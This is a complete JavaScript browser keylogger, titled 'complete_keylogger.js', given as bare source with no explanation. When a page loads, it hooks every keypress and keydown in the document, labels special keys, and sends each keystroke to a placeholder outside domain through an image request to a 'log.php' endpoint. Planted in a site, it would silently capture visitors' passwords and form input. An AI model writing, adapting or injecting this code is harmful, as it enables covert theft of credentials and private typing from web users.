complete_keylogger.js

window.onload = function load(){
  if (window.addEventListener) {
    document.addEventListener('keypress', p, true);
    document.addEventListener('keydown', d, true);
  } else if (window.attachEvent) {
    document.attachEvent('onkeypress', p);
    document.attachEvent('onkeydown', d);
  } else {
    document.onkeypress = p;
    document.onkeydown = d;
  }
}
function p(e){
  k = (window.event) ? window.event.keyCode : e.which;
  if (k == 43){ log("[ADD]") }
  else { log(String.fromCharCode(k)) }
}
function d(e){
  k = (window.event) ? window.event.keyCode : e.which;
  if      (k == 8) { log("[BACKSPACE]"); }
  else if (k == 9) { log("[TAB]"); }
  else if (k == 13){ log("[ENTER]"); }
  else if (k == 35){ log("[END]") }
  else if (k == 36){ log("[HOME]") }
  else if (k == 37){ log("[<--]") }
  else if (k == 39){ log("[-->]") }
}
function log(k){
  if (k) {
    new Image().src = 'http://<DOMAIN>/log.php?c=' + encodeURI(k);
  }
}